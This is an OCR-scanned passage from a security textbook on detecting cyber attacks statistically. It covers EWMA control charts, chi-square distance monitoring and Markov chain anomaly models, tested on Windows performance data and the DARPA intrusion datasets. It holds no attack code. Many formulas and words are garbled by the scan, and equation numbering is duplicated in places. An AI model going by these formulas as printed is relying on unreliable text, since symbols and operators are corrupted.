2, 4]. Not al data variables from computer and network systems have a normal distribution.
For example, many data variables from Windows performance objects have a skewed proba-
bility distribution or amultimodal distribution, rather than anormal distribution, as described
in Chapter 9. Hence, EWMA control charts have been selected and applied to cyber attack
detection.

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
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276 Statistical anomaly detection

For a sequence of uncorrelated data observations, x(n), n =1, ..., N, with the mean of
ux and the standard deviation of oy, the EWMA control chart first performs the EWMA data
smoothing asfollows[1, 2, 4-6]:

zn)=xM+@2-2)z(n—-1),0<xr <1 (14.2)

The smoothed data, z(n), has approximately a normal distribution with the following mean
and standard deviation:

Mz = [x (14.2)

Oz7 = Oy ——. (14.3)

The EWMA control chart then monitors the smoothed data sequence, z(n),n =1, ..., N. If
z(n) fals outside the range defined by the Lower Control Limit (LCL) and Upper Control
Limit (UCL), [LCL, UCL,],

LCLZ = Uz — Laz (14.4)

UCLZ = MUz + Laz, (14.5)

an anomaly is detected to signal an alarm for an attack. The parameter, L, is defined according

to the desired Type-I error or false alarm rate. For example, L is 1.96 for the 0.05 significance
level of type-| error.

The EWMA control chart for time series data with autocorrelated data observations [1, 2,

4-6] monitors the prediction error, e(n), n = 1, ..., N, instead of the smoothed data, z(n).

At first, z(n — 1), which is computed using Formula 14.1, is considered the one-step-ahead
prediction of x(n). The prediction error for x(n) isthe following:

e(n)=x(Mn)—z(n—-1) (14.6)

The prediction error data, e(n), n=1, ..., N, is approximately independently and normally
distributed with the mean of e = 0 and the standard deviation of oe. The estimate of o, can
be obtained as follows:

o2 =0 +(1—-0)o2(n—1),0<6 <1 (14.7)
LCLe and UCL, of e(n) are defined asfollows:

LCLe(N) = e — Loe(n — 1) = —Lae(n — 1) (14.8)

UCLe(N) = pte + Loe(N — 1) = +Loe(n — 1). (14.9)
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Based on Formula 14.6, the EWMA control chart monitoring e(n) is equivalent to the EWMA
control chart monitoring x(n) with the following control limits:

LCLx(n) =z(n—1) — Loe(n—1) (14.10)

UCLy(n) =z(h—1)+ Loe(n—1). (14.11)

14.2 APPLICATION OF THE EWMA CONTROL CHART TO
CYBER ATTACK DETECTION

The Windows performance objects data described in Chapter 7 isused to test the application of
the EWMA control chartsto cyber attack detection. The testing of the EWMA control charts
on other data sets can be found in [5, 6]. As described in Chapter 10, many data variables of
the Windows performance objects have a certain degree of autocorrelation. Hence, the EWMA
control chart for autocorrel ated dataisapplied to the Windows performance object datato detect
the eleven attacks described in Chapter 7. In order to compare the detection performance of the
EWMA control chartsin this chapter, the ANN-based signature recognition model s described
in Chapter 13 and the cuscore-based attack norm separation model sdescribed in Chapter 17, the
three techniques are tested using the data of the same variableswhich areinvolved in the attack
characteristics in Table 13.1. Specifically, two EWMA control charts are developed for each
attack characteristic in Table 13.1 for the attack with that attack characteristic in combination
with the text editing norm and the web browsing norm, respectively, using Formulas 14.1,
14.6, 14.7, 14.10 and 14.11.

For example, the ARP Poison attack has the autocorrelation increase characteristic in Net-
work Interface\ Bytes Received/sec. Thisdatavariable, Network I nterface\ Bytes Received/sec,
isxin Formulas 14.1 and 14.6. As described in Chapter 7, Run 2 of the data collection for the
ARP Poison attack contains the 10 minutes of the text editing data followed by the mixture of
the text editing data and the ARP Poison attack data, and Run 3 of the data collection contains
the 10-minute web browsing data followed by the mixture of the text editing dataand the ARP
Poison attack data. Two EWMA control charts are developed, one for each of the two normal
use activities: text editing and web browsing.

For the normal use activity of text editing, the first half of the 10-minute text editing data
from Run 2, which contains time series data of 300 data observations for the variable, X, is
used asthetraining data. The second half of the 10-minutetext editing dataand the ARP attack
datafrom Run 2 for the variable, X, is used as the testing data. Since the EWMA control chart
isan anomaly detection technique and does not require the attack data for the training phase,
the attack data from Run 1 of the data collection is not used to develop the EWMA control
chart. In the training and the testing, both A and 6 are set to 0.3, and L is set to 3, according to
work in[5, 6].

Inthetraining phase of devel opingthe EWMA control chart, z(0) isinitialized to the average
of the x valuesin the training data. For each x(n) in the training data, Formula 14.1 is used to
compute z(n), and Formula 14.6 is then used to compute e(n). At the beginning of the testing
phase, z(0) is initialized to the average of z's computed from the training data, and o2 (0)
is initialized to the average of €”’s from the training data. For x(n) in the testing data from
n = 1tothelast data observation, LCL(n) and UCL(n) are computed using Formulas 14.10
and 14.11 after computing z(n — 1) using Formula14.1 and o(n — 1) using Formulas 14.6 and
14.7. If x(n) fals outside [LCL4(n, UCL(Nn)], x(n) is considered as attack; otherwise, x(n) is
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considered as normal use. Hence, after applying the EWMA control chart to the testing data,
each data observation in the testing data obtains a label of either attack or normal use. The
label of attack on any of the 300 data observations of text editing in the testing data produces
afase alarm. The label of attack on any of the attack data observations in the testing data
gives a hit.

The detection performance of the EWMA control chart is measured by the total number of
false darms on all the normal use data observations in the testing data and the first hit which
is the observation number of the first data observation in the attack data of the testing data
which is labeled as attack. The description of the false alarms and the first hit can be found in
Chapter 13.

Similarly, an EWMA control chart isdevel oped for the samevariable, x, but with the normal
use activity of web browsing, using the first half of the 10-minute web browsing data from
Run 3 as the training data. This EWMA control chart is then tested on the second half of
the 10-minute web browsing data and the ARP attack data from Run 3 for the variable. The
detection performance measures of the false alarms and the first hit are obtained.

Hence, for each attack characteristicin Table 13.1 which involves agiven attack and agiven
data variable, two EWMA control charts are developed for two normal use activities of text
editing and web browsing in combination with the attack. The detection performance measures
of each EWMA control chart are obtained. Table 14.1 shows the false alarms of each EWMA
control chart for each attack characteristic in Table 13.1. Table 14.2 shows thefirst hit of each
EWMA control chart for each attack characteristic.

For each variable in each combination of an attack activity and a normal use activity in
Tables 14.1 and 14.2, the false dlarms and the first hit of the EWMA control chart are either
worse or the same as those of the cuscore-based attack norm separation model. Table 14.3,
which is the same as Table 13.4, compares the detection performance of the EWMA control
charts with that of the ANN-based signature recognition models (or simply the ANN models)
and that of the cuscore-based attack norm separation models (or ssmply the cuscore models).

Asshown in Table 14.3, for each normal use activity in combination with each attack, the
EWMA control charts are worse than the cuscore models in both the false alarm and the first
hit. The EWMA control charts produce 1,023 false dlarms in total for all the combinations of
the attack activities and the normal use activities, which are 1001 more false alarms than 22
false alarms in total produced by the cuscore models for all the combinations of the attacks
and the normal use activities. The EWMA control charts have 3761 observations of detection
delay, which are computed by subtracting the total number of the attack-norm combinations
(= 22) from the total number of the first hits for al the attack-norm combinations (= 3783),
whereas the cuscore models have 1035 observations of detection delays.

For the text editing activity in combination with the attacks, the EWMA control charts
produce fewer false alarms than the ANN models for all the 11 attacks, and give an earlier
detection than the ANN models for nine out of the 11 attacks. For the web browsing activity
in combination with the attacks, the EWMA control charts produce fewer false alarms than
the ANN models for ten attacks, and give an earlier detection than the ANN models for seven
attacks.

Hence, for those variables in Table 13.1, the EMWA control charts produce the worse
detection performance than the cuscore models. Like the ANN-based signature recognition
techniquedescribedin Chapter 13, the EWMA control chart based anomaly detection technique
has a similar drawback in lack of handling the mixed attack and normal use data and subtle
datafeatures. This drawback may lead to the worse performance of the EWMA control charts
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284 Statistical anomaly detection

than that of the cuscore-based attack norm separation models which overcome the drawback
of the EWMA control chartsand the ANNSs. The simultaneous attack and normal use activities
produce the mixed data effect in the data collected from the computer and network system.
An EWMA control chart relies only on the data effect of the normal use activity to detect
a large deviation of the data from the normal use data model as attack. Even if the attack
data model deviates largely from the normal use data model, the presence of the normal use
data effect mixed with the attack data effect may distort the attack data model and make
it less distinguishable from the normal use data model. The cuscore models or the attack
norm separation methodology in general, described in Chapters 16 and 17, overcome the
drawback of the EWMA control charts and the anomaly detection methodology in genera
in handling the mixed attack and normal use data. The attack norm separation models first
use the normal use data model to remove the effect of the normal use activity in the attack
and normal use data mixture, and then use the attack data model to identify an attack in
the residua data after removing the data effect of the normal use activity, to improve the
detection accuracy and earliness and produce a better detection performance. The cuscore
models also use the attack and normal use data models that accurately represent both subtle
data features such as autocorrelation, probability distribution and wavelet and the smple data
feature such as mean, along with the attack characteristics associated with those features, to
achieve performance accuracy on both the normal use data and the mixed attack and normal
use datain the testing.

14.3 CHI-SQUARE DISTANCE MONITORING (CSDM) METHOD

The EWMA control charts are one of the univariate SPC techniques. Others are multivariate
SPC techniques, such as Hotelling’s T2 control charts [7], Multivariate CUSUM (MCUSUM)
control charts [8], and Multivariate EWMA (MEWMA) control charts [9], which monitor
the data of multiple data variables and their relationships to detect out-of-control anomalies.
However, many multivariate SPC techniques rely on the covariance structure of multiple vari-
ables, the inverse of the covariance structure, and the multivariate normal distribution of data
variables. The computation of the covariance structure for a large number of data variables
often faces many challenges such as limited computer memory to hold the large covariance
matrix and the difficulty of even performing the inverse operation of the covariance structure
due to poor data quality in the real world [10].

For example, Hotelling's T2 control chart is awell-known multivariate SPC technique that
detects a shift from the in-control mean vector, adeparture from the in-control data covariance
representing the relationships of multiple variables, or a combination of both a mean shift and
a counter-relationship. Let X(n) = (x1(n), X2(n), ..., Xp(n))’ denote the nth observation of
p variables. Hotelling’s T2 control chart assumes a multivariate normal distribution of the p
variables. The estimate of the mean vector, denoted as X, and the estimate of the covariance
matrix, denoted as S, can be obtained from a data sample of size N as follows:

X = (X%, ...Xp)

!/

(14.12)

N

== 12 X (n) - X][X ) -X] . (14.13)

n=1
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Hotelling’s T? statistic for an observation, X(n), is defined as follows [7]:
T2=[X(n) —X] S[X(n)—X]. (14.14)

Hotelling's T? statistic measures a statistical distance of X(n) from the in-control data popula-
tion which isrepresented by the estimated mean vector and the estimated covariance matrix. A
larger T2 value indicates alarge departure from the in-control data population. The following
transformed value of the T? statistic:

N(N-P) _,
PIN+1)(N—1)

followsan F distribution withpand N — p degrees of freedom. If the above transformed value
of the T statistic is greater than the tabulated F value for agiven level of significance, «, X(n)
is considered to be an out-of-control anomaly.

Asdescribed in Chapter 9, many data variables from computer and network systems have a
probability distribution other than anormal distribution, thus the multivariate normal distribu-
tion assumption of Hotelling’s T2 control chart is likely not satisfied for many data variables
which are monitored for cyber attack detection. The inverse of the covariance matrix in For-
mula14.14, S-1, cannot be computed for some data variables which have approximately linear
relationships. If pislarge, an attempt to hold alarge matrix, S™1, in the memory of acomputer
may cause the memory to overflow, or the computation takes too long due to the swapping of
data between the memory and the disk to making it impractical is cyber attack detection which
requires real-time processing of incoming data at a fast pace.

To overcome the above problems of conventional multivariate SPC techniques, the scalable
CSDM method [10-16] has been devel oped to monitor multivariate dataand detect anomalies.
Considering that Hotelling's T? statistic in Formula 14.14 measures the statistical distance of
adata observation from the in-control data population, the CSDM method defines and applies
amore scalable distance measure to a data observation, x(n):

X? = Xp: M (14.15)

i—1 Xi

This distance measure is called the Chi-sguare distance because of its similarity to the statistic
used in the Chi-square test. When the p variables are independent of each other and p is
large (e.g., greater than 30), the Chi-square statistic in Formula 14.15 follows approximately a
normal distribution according to the central limit theorem, no matter what distribution each of
the p variables has. With the mean and standard deviation of the Chi-square distance estimated
from asample of the Chi-square distance values as X2 and 8)2< , the control limitsfor monitoring
X2 can be set to the following:

[LCL2, ucLZ] = [ﬁ— L x 2, X2+ L x sf(] . (14.16)

Notethat S-* causing the computation difficulty inthe Hotelling’'s T2 statisticisnot involved in
this Chi-sguare distance measure. Hence, the Chi-square distance measures the departure of a
dataobservation from thein-control data population which isrepresented by the estimate of the
mean vector, only without the covariance matrix and itsinverse, S1. As aresult, the CSDM
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method is expected to detect mean shift anomalies but not necessarily counter-relationship
anomalies. However, it is demonstrated in [15] that for uncorrelated, normally distributed in-
control data, the CSDM method detects mean shift anomalies, counter-relationship anomalies
and distribution change anomalies as well as or even better than the Hotelling's T2 control
chart. It isalso shown in [16] that for four types of in-control data with:

1. uncorrelated and normally distributed data variables;
2. correlated and normally distributed data variables;

3. uncorrelated and normally distribution data variables, each of which has auto-correlated
data observations,

4. non-normally distributed data variables without correlation among data variables or auto-
correlation among data observations,

the CDSM method performs better than or aswell as Hotelling's T? control chart in detecting
mean shift anomalies, counter-relationship anomalies, and combinations of both mean shift
anomalies and counter-relationship anomaliesin types 1, 3 and 4 of in-control data. Dueto the
sensitivity of Hotelling's T2 control chart to the data normality, Hotelling’s T? control chart
does not perform as well as the CSDM method for non-normally distributed data in type 4.
Only for type 3 of correlated and normally distributed in-control data, is Hotelling’s T2 control
chart superior to the CSDM method. However, for such datait ismore computationally efficient
to discover a small number of independent, latent variables and monitor these uncorrelated
variables using the CSDM method than monitoring alarge number of correlated datavariables
using Hotelling’s T2 control chart.

Thework in[17] presents an improvement of the Chi-square distance in Formula 14.16 by
replacing X; as the average-based forecast of x;(n) with the EWMA forecast of x;(n), Xi (n),
asfollows:

P [x (n) — X ()]
x2 =y KA = XA
2 % (14.17)

% (n)=z(n-1),

and z(n — 1) as the EWMA forecast of x;(n) is computed using Formula 14.1. This im-
provement is made based on the consideration that the EWMA forecast gives amore accurate
representation of the data sequence than the average of the data observations.

14.4 APPLICATION OF THE CSDM METHOD TO CYBER ATTACK
DETECTION

The CDSM method was tested using the MIT Lincoln Laboratory’s 1998 DARPA Intrusion
Detection Evaluation Data (http://ideval .ll.mit.edu), before the datadescribed in Chapter 7 was
collected. The description of the BSM audit data along with the extraction and representation
of the event frequency distribution can be found in Chapter 12. Asin Chapter 12, A in Formula
12.13 is set to 0.3. For the CSDM method using Formula 14.17, A in Formula 14.1 is also set
to 0.3.
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Four days of the data are used for training and testing the CSDM method, including the
data from Monday of Week 1 (called Day 1), Tuesday of Week 4 (called Day 2), Friday of
Week 4 (called Day 3), and Thursday of Week 6 (called Day 4). The normal audit events of
the Day 1 and Day 2 data are used as the training data which includes 740,995 and 1,283,903
normal audit events from 296 and 372 normal sessionsin Day 1 and Day 2, respectively. Both
the normal audit events and the attack audit events of the Day 3 and Day 4 data are used asthe
testing data which includes 2,232,981 normal eventsin 310 sessions and 16,524 attack events
in 29 sessions in Day 3 and 893,603 normal events in 433 sessions and 31,476 attack events
in 14 sessionsin Day 4.

For the CSDM method using Formula 14.15, the event frequency distribution vector, X(n),
is obtained for each training event and each testing event using the same procedure described
in Chapter 12. Using the training data, X, is obtained. The Chi-square distance in Formula
14.15 is then computed for x(n) of each event in the testing data. The Chi-square distance in
Formula 14.15 produces a positive value for each event. The larger the Chi-square distance
value, the more likely the event is attack. Since a large Chi-square distance is of interest in
cyber attack detection, only the upper control limit of X2 + L x S% in Formula14.16 is used
to label each event in the testing data as attack or normal use based on the Chi-square distance
value for the event. If the Chi-square distance value is greater than the upper control limit,
the event is signaled as attack; otherwise, the event is labeled as normal use. For each session
in the testing data, the session signal ratio is computed using the same method described in
Chapter 12. The ROC evaluation is applied to the session signal ratios of the sessionsin the
testing data to produce the ROC chart of the CSDM method in Figure 14.1.

As reported in [17], the CSDM method using Formula 14.17 is tested in comparison with
the CSDM method using the MIT Lincoln Laboratory’s 2000 DARPA Intrusion Detection

1.0
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0.2 -

00 a T T T T T
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Figure14.1 The ROC chart of the CSDM method based on the session signal ratios.

From Figure 4in [12] S. M. Emran, and N. Ye, “Robustness of Chi-sguare and Canberra techniquesin
detecting intrusions into information systems.” Quality and Reliability Engineering International, Vol.
18, No. 1, pp. 19-28, 2002, (© John Wiley & Sons Limited. Reproduced with permission.
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Evaluation Data (http://ideval.ll.mit.edu). In [17], the Markov chain model of event transitions
is used to assist in obtaining the EWMA forecast of x(n) for the nth event in the testing data.
Alternately, the EWMA forecast of x(n) can be obtained directly using the audit events (only
those events which are labeled as normal use by the CSDM method) prior to the nth event in
the testing data based on Formula 14.1. It is shown in [17] that the CSDM method using the
EWMA forecasting produces a better detection performance than the CSDM method using the
average-based forecasting.

145 SUMMARY

Thischapter presentsthe application of the EWMA control chart asaunivariate SPC technique
and the CSDM method as a multivariate SPC technique to cyber attack detection. The SPC
techniquesfall into the anomaly detection methodology for cyber attack detection. In compar-
ison with the attack norm separation methodol ogy described in Part V1, the anomaly detection
methodology fails in handling the mixed attack and normal use data. This drawback leads
to the detection accuracy problem which is one of main reasons why the anomaly detection
methodology has not gained awide use in commercial intrusion detection systems. Although
the anomaly detection methodology has the potential to detect novel attacks, only novel at-
tacks which depart largely from the norm profile can be detected. It should be recognized that
many novel attacks do not necessarily demonstrate a large deviation from the norm profile.
Moreover, the effectiveness and accuracy of detecting novel attacks through large deviations
from the norm profile also depend on the power of the norm profiling or the data modeling
tool in accurately capturing all aspects of various normal use activities. Many benign, irregular
normal use activities can be signaled as attack due to their deviations from a too narrowly
defined norm profile, thus producing false alarms. It should not be expected that asingle norm
profiling or data modeling tool can be used to capture all aspects of various normal use activ-
ities. As discussed later in Part VI, separate normal use data models can be built to represent
individual normal use activities to accurately capture awide variety of normal use activities.
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Stochastic anomaly detection using
the M ar kov chain moddl of event
transitions

For a given event sequence including the current event and previous events in the recent past,
the CSDM method as a multivariate statistical anomaly detection technique in Chapter 14
uses the EWMA representation of the event sequence to determine if the current event is
considered attack or normal use. The EWMA representation of the event sequence captures
the exponentialy weighted moving average of the event frequency for each event type that
appears in the event sequence. However, the event frequency feature of the event sequence
leaves out the sequential order of the events in the event sequence which can be helpful to
distinguish attack activities from normal use activities because not only different types of
activities but different sequences of those activities are often necessary to accomplish different
tasks. Thischapter describesthe use of the Markov chain model, astochastic modeling method,
to build the norm profile of event transitions for anomaly detection. The Markov chain model
of event transitions and its use for detecting cyber attacks through anomaly detection are first
introduced. The performance testing results of this stochastic anomaly detection technique are
then presented.

15.1 THE MARKQOV CHAIN MODEL OF EVENT TRANSITIONS
FOR CYBER ATTACK DETECTION

In a discrete-time stochastic process of asystem, the system state at a given timeis not known
with certainty before that time, and the system state changes at discrete points in time. The
Markov chain model definesthefirst-order stochastic processwith the Markov property stating
that the probability of the system state at timen + 1 depends on the system state at time n only
[1]. Hence, the system states at times prior to time n have no effect on the system state at time
n + 1inthe Markov chain process. A stationary Markov chain process has an additional prop-
erty stating that astatetransition fromtimentotimen + 1isindependent of timenfor al nand
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all system states. If the system hasafinite number of states, denotedby 1, 2, . . ., s, the stationary
Markov chain model can be defined by the following state transition probability matrix:

P11 P12 ... Pis
P21 P22 ... Pos

P=| - ) ) ) (15.2)
Pst Ps2 ... Pss

and the following initial state probability distribution:

Q=[m @& .. o, (15.2)

where p;j is the probability that the system in state i at one time point is transitioned to state
j @ the next time point, and g is the probability of the system in statei at timeO.

The stationary Markov chain model is applied to cyber attack detection through anomaly
detection in [2, 3]. Let x, denote the system state at time n. Given atraining data set which
has the system states, X3, X, ..., Xy, a times 1, ..., N, under the normal use condition, the
stationary Markov model of event transitions under the normal use condition can be built by
learning pi; and ¢ from the training data set as follows:

N..

Pi =N (15.3)
N‘

6= (154)

where N;j is the number of transitions from state i to state j, N;. is the number of transitions
from statei to any of the states, and N; isthe number of statei, all observed from the sequence
of states, xq, X2, . .., Xn, Under the normal use condition. The stationary Markov chain model
is then used to evaluate a given state, X,, in the testing data set containing the sequence of
states, X1, X, . . ., Xm, by determining the joint probability of ashort state sequencein thetime
window of T from Xn, Xn—(1—-1), . - - , %n, asfollows:

n

POa—(T—=1..c.ox) =0~ (T2 [] px—1pu (15.5)
t=n—(T—2)

That is, the state, x,, along with its preceding states in the time window of T, is evaluated by
computing the probability of observing thisshort state sequence under the normal use condition
based on the statetransition probabilities, p;;'s, and theinitial state probabilities, g;’s, definedin
the stationary Markov chain model of the norm profile. The greater the probability of observing
this short state sequence, the more likely the short state sequence and thus the state, x,, are
normal use. In other words, the smaller the probability of observing this short state sequence,
the more likely the short state sequence and thus the state, x,, are abnormal or as attack.

For the state sequence in the training data set, a higher-order stochastic process model,
which considers the dependence of the system state at a given time on the system states at
more than one preceding time points, may capture more state transition information under the
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normal use condition than the first-order Markov chain model if the system follows a higher-
order stochastic process. However, the computational cost of using a higher-order stochastic
process model is too high to be practical for the real-time processing requirement of cyber
attack detection. Hence, using the first-order Markov chain model for cyber attack detection
is atradeoff between modeling accuracy and the computational cost.

15.2 DETECTION PERFORMANCE OF THE MARKOV CHAIN
MODEL-BASED ANOMALY DETECTION TECHNIQUE AND
PERFORMANCE DEGRADATION WITH THE INCREASED
MIXTURE OF ATTACK AND NORMAL USE DATA

In[2], the Markov chain model-based anomaly detection technique is tested using the BSM
audit event data from two Solaris computers, named Mill and Pascal, which is collected by the
MIT Lincoln Laboratory in 2000 (http://ideval .Il.mit.edu). Thisisthe samedataused for testing
in Chapter 12. Hence, amore detailed description of the data can be found in Chapter 12. The
Mill data set has 68,871 normal use eventsin 14 normal use sessions and 36,036 attack data
in seven attack sessions. The Pascal data set has 81,755 normal use events in 63 normal use
sessions and 32,327 attack eventsin four attack sessions.

Each audit event is considered as an observation of the computer system state at a given
time. The event type is considered to represent the system state. There are 284 possible event
types that can be recorded by BSM. Hence, there are 284 possible system states. However,
only 69 different types of audit events appear in the Mill data set, and only 53 different types
of audit events appear in the Pascal data set.

For the Mill data set, the normal eventsin the last hour of the three-hour Mill data set are
used as the training data, and the entire set of the three-hour Mill data is used as the testing
data. There are 42,983 audit events in the Mill training data with 67 different event types. For
the Pascal data set, the normal eventsin thelast hour of the three-hour Pascal data set are used
asthetraining data, and the entire set of the three-hour Pascal datais used as the testing data.
There are 20,616 audit events in the Pascal training data with 53 different event types.

A Markov chain model, consisting of P and Q in Formulas 15.1 and 15.2, respectively, is
built from the Mill training datausing Formulas 15.3 and 15.4. For each audit event in the Mill
testing data, this Markov chain model isthen used to compute the probability of observing the
short state sequence for this event in awindow size of T under the normal use condition using
Formula 15.5. Two T values of 10 events and 100 events are tested. The ROC method is used
to evaluate the detection performance of the Markov chain model-based anomaly detection
technique by using a wide range of signal thresholds to obtain pairs of false alarm rate and
hit rate. For each signal threshold, if the probability of a given event in the Mill testing data
is greater than this signal threshold, the event is considered attack; otherwise, the event is
considered normal use. A false alarm occurs when a normal use event in the testing data is
considered attack. A hit occurs when an attack event in the testing data is signaled as attack.
The false alarm rate and the hit rate are computed over all the events in the Mill testing data
set. Similarly, the Markov chain model-based anomaly detection technique is devel oped and
tested using the Pascal training data and testing data.

Figure 15.1 shows the ROC charts of the Markov chain model based anomaly detection
technique for the Mill data set with the window sizes of 10 events and 100 events. Figure 15.2
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Figure 15.1 The ROC chart of the Markov chain model-based anomaly detection technique for the
Mill data set with the window sizes of 10 events and 100 events.

From Figures 1 and 2 in [2] N. Ye, T. Ehiabor, and Y. Zhang, “First-order versus high-order stochastic
models for computer intrusion detection.” Quality and Reliability Engineering International, Vol. 18,
No. 3, pp. 243-250, 2002, (© John Wiley & Sons Limited. Reproduced with permission.

shows the ROC charts of the Markov chain model based anomaly detection technique for
the Pascal data set with the window sizes of 10 events and 100 events. Regardless of the
window size, the Markov chain model-based anomaly detection technique produces a good
performance for both Mill and Pascal data sets with all the four ROC curves in Figures 15.1
and 15.2 close to the top-left corner of the ROC chart representing the 100% hit rate and the
0% false alarm rate.

Inthe Mill and Pascal testing data sets, normal use sessions and attack sessions are separate.
In[3], the Markov chain model-based anomaly detection technique is tested on four data sets
with various degreesin which attack eventsand normal use eventsare mixed. Thetesting results
show that the detection performance of the Markov chain model-based anomaly detection
technique is highly sensitive to the degree of mixing attack events and normal use events.
The detection performance of the Markov chain model-based anomaly detection technique
drops to that of arandom decision-maker that decides each event as attack or normal use by
random, when the attack events and the normal use events are randomly mixed but maintain
the sequential order of the attack events and the sequential order of the normal use events. This
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Figure 15.2 The ROC chart of the Markov chain model-based anomaly detection technique for the
Pascal data set with the window sizes of 10 events and 100 events.

From Figures3and 4in [2] N. Ye, T. Ehiabor, and Y. Zhang, “First-order versus high-order stochastic
models for computer intrusion detection.” Quality and Reliability Engineering International, Vol. 18,
No. 3, pp. 243-250, 2002, (© John Wiley & Sons Limited. Reproduced with permission.

again confirms the drawback of the anomaly detection methodology in lack of handling the
mixture of attack and normal use data as discussed in Chapter 14. As aresult, the detection
performance degrades as the mixture of attack data and normal use data increases.

15.3 SUMMARY

This chapter presents a stochastic process modeling method of building the norm profile and
using the stochastic model of the norm profile for cyber attack detection through anomaly
detection. Specifically, the Markov chain model of event transitions as the norm profile and
the evaluation of the probability in which an event sequenceis observed under the normal use
condition capture moreinformation in an event sequence than the EWM A representation of the
event frequency used in the multivariate statistical anomaly detection technique as described
in Chapter 14. However, this anomaly detection using a more powerful, stochastic modeling
method still suffersthe drawback of the anomaly detection methodology inlack of handling the
datamixture of attack and normal use activities and consequently the performance degradation
asthe mixturelevel of attack dataand normal use dataincreases. Chapters 16 and 17 in Part VI
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present anew methodol ogy of cyber attack detection to overcomethisdrawback of theanomaly
detection methodol ogy and the signature recognition methodol ogy.
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Part VI

Cyber Attack Detection: Attack Norm
Separation

The new attack-norm separation methodol ogy has been developed to overcome the drawback
of the two conventional methodol ogies, sighature recognition and anomaly detection, in their
lack of handling the data mixture of attack and normal use activities as discussed in Parts
IV and V. The attack-norm separation methodology builds an attack detection model for the
combination of agiven attack and a given normal use activity in the following steps:

1. Define the attack data model and the normal use data model to represent the attack data
characteristic and the normal use data characteristic.

2. Use the normal use data model to cancel the data effect of the normal use activity that is
present in the data mixture of the attack and the normal use.

3. Use the attack data model to detect and identify the presence of the attack in the residual
data from Step 2 after canceling the data effect of the normal use activity.

Steps 2 and 3 are designed to handle the mixed data effects of the attack and normal use
activities. The attack data model and the normal use data model defined in Step 1 are required
in Steps 2 and 3. In other words, a thorough understanding and an accurate modeling of both
the attack data and the normal use data are necessary to handle the mixed effects of the attack
dataand the normal use data. In addition, the knowledge of how the attack dataand the normal
use data are mixed together is necessary to enable Step 2. There are many ways in which
the attack data and the normal use data can be mixed together, e.g., in an additive manner, a
multiplicative manner, and so on.

Chapter 16 in Part VI describes how to define the attack data model and the normal data
model in Step 1 to represent the data characteristics in the mean, distribution, autocorrelation
and wavelet features which are described in Chapters 8-11. Chapter 17 presents the cuscore-
based attack norm separation modelsthat are used to carry out Steps 2 and 3 of the attack norm
separation methodology. The detection performance of the cuscore-based attack norm sepa-
ration models is compared with that of the signature recognition techniques and the anomaly
detection techniques which are described in Parts IV and V to show the superior detection
performance of the cuscore-based attack norm separation models.
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M athematical and statistical models
of attack data and nor mal use data

This chapter describes the mathematical and statistical models of attack data and normal use
data which represent the data characteristics in the mean, distribution, autocorrelation and
wavel et features. The attack data characteristicsin these datafeatures are described in Part I11.
In this chapter, the training data, which is used to develop the mathematical and statistical data
models, isdescribedin Section 16.1. Sections16.2—16.5 present themathematical and statistical
data models to represent the data characteristics in the mean, distribution, autocorrelation and
wavel et features, respectively.

16.1 THE TRAINING DATA FOR DATA MODELING

The same sets of the training data and the testing data, which are collected using the Windows
performance objects under the eleven attack conditions and two normal use conditions (see
the description in Chapter 7) and used to develop and test the ANN techniques for signature
recognition in Chapter 13 and the EWMA control charts for anomaly detection in Chapter 14,
are also used to devel op the mathematical and statistical models of attack data and normal use
datain this chapter. The attack datamodelsand normal use datamodels are required to develop
the attack norm separation modelsin Chapter 17.

Specifically, for the combination of each attack and each normal use activity, the attack
data from Run 1 of the data collection and the first half of the normal use data with 300 data
observations from Run 2 (if the text editing is the normal use activity) or Run 3 (if the web
browsing isthe normal use activity) are used asthe training data. The second half of the normal
use data with 300 data observations and the mixed attack and normal use data from Run 2 or
Run 3 are used asthetesting data. The attack datain thetraining dataset is used to develop the
attack data model. The normal use data in the training data set is used to develop the normal
use data model.

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
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16.2 STATISTICAL DATA MODELSFOR THE MEAN FEATURE

The mean shift attack characteristics manifest in the mean feature of the attack data. For the
data variable in a given mean shift attack characteristic, the mean of the attack data for that
variable is estimated and modeled using the average of the attack data sample in the training
data set. The mean of the normal use data for each normal use activity is aso estimated and
modeled using the average of the normal use data sample for that data variable in the training
dataset. That is, the normal use datamodel, f(x), and the attack datamodel, g(x), are defined
asfollows[1]:

f(x) = X

% DX (16.1)
g(x) =X = % > ox (16.2)
i

where x; represents the normal use data sample in the training data set, and x; represents the
attack data samplein the training data set.

16.3 STATISTICAL DATA MODELSFOR THE
DISTRIBUTION FEATURE

A probability distribution is statistically defined by its probability density function as shown
in Formula 16.3 or cumulative distribution function as shown in Formula 16.4 [1]:

f(x) = P(X = x) (16.3)
FO)=P(X<x)=)Y_ f(x). (16.4)

Xi<x

As discussed in Chapter 9, the five distribution types are observed in the collected data:
unimodal |eft skewed, unimodal right skewed, unimodal symmetric, uniform, and multimodal.
Many specific probability distributions can fall into each distribution type. For example, the
multimodal distribution type includes many specific probability distributions with two modes,
three modes, and so on. Each specific probability distribution has specific parameter valuesthat
arerequired to fit the probability distribution to the data sample. Without knowing the specific
probability distribution for a given distribution type, it is difficult to search for that specific
probability distribution and useits cumulative density function along with specific distribution
parameter values to mathematically represent the data sample of a given distribution type that
appears in a given characteristic of attack data or normal use data.

Instead of using the exact mathematical definition of aprobability distribution, theempirical
cumulative distribution function, empcdf, is estimated from a given data samplein thetraining
dataset using MATLAB. Thisempcdf isthen used to generate a sequence of data observations
that followsthe specific probability distribution of agiven distribution type. Hence, for thedata
variableinvolved in agiven distribution change attack characteristic, the attack data sample of
that data variablein the training data set is used to obtain the empcdf for the attack involved in
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that attack characteristic. The normal use data samplefor each of the two normal use activities
in the training data set is used to obtain the empcdf of that data variable for the normal use
activity.

16.4 TIME-SERIESBASED STATISTICAL DATA MODELS
FOR THE AUTOCORRELATION FEATURE

Box-Jenkins time series modals [2], such as the AutoRegressive Moving Average (ARMA)
model, are the statistical models for stationary time series data [3]. The time series data is
gtrictly stationary if it has a fixed mean, a constant variance, and a constant autocovariance
structure over time [3]. An ARMA(p, ) model is defined as follows [3]:

Xt = YiX—1+VYoXeo+ -+ YpXi—p+ & — 0161 — & _r—---—04&_q (16.5)
where
& =X — X, (16.6)

X isthe observation of the time series data at timet, X; isthe predicted value at timet, ¥ sare
the parameters for the autoregressive part of the ARMA model, and 6s are the parameters for
the moving average part of the ARMA model.

Nonstationary time series datais often characterized by arandom fluctuation, drift with an
average change in the mean over time, trend such as seasonal effects and cyclical effects, or
